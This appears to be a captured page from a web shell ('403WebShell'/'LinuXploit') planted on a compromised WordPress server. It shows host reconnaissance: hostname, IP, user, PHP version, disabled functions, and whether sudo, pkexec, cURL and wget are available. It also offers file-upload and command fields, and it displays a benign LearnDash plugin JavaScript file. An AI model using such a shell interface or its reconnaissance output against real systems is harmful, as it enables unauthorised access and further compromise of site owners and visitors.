Uname:Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64

Base Dir : /home/nobi37te/public_html

User : nobi37te


403WebShell
403Webshell
Server IP : 172.67.134.116  /  Your IP : 216.73.217.68
Web Server : Apache
System : Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : nobi37te ( 1003)
PHP Version : 8.2.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nobi37te/public_html/wp-content/plugins/learndash-certificate-builder/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nobi37te/public_html/wp-content/plugins/learndash-certificate-builder/scripts/switcher.js
jQuery(function ($) {
	if ($('#switch-to-builder').size() > 0) {
		// some cases, the autosave is off, so we need to check it.
		var postData;
		if (window.wp.autosave !== undefined) {
			postData = window.wp.autosave.getPostData();
		} else {
			var url = new URL(window.location.href);
			var post_id = url.searchParams.get('post');
			if (null === post_id) {
				post_id = 0;
			}
			postData = {post_id: post_id}
		}

		$('body').on('click', '#switch-to-builder', function () {
			//store a meta
			var that = $(this)
			$.ajax({
				url: ajaxurl,
				data: {
					action: 'use_certificate_builder',
					nonce: ld_certificate_builder_switcher.nonce,
					id: postData.post_id
				},
				type: 'POST',
				beforeSend: function () {
					that.attr('disabled', 'disabled')
				},
				success: function (data) {
					if (data.success === true) {
						location.href = data.data.url
					}
				}
			})
		})
	}
})

Youez - 2016 - github.com/yon3zu
LinuXploit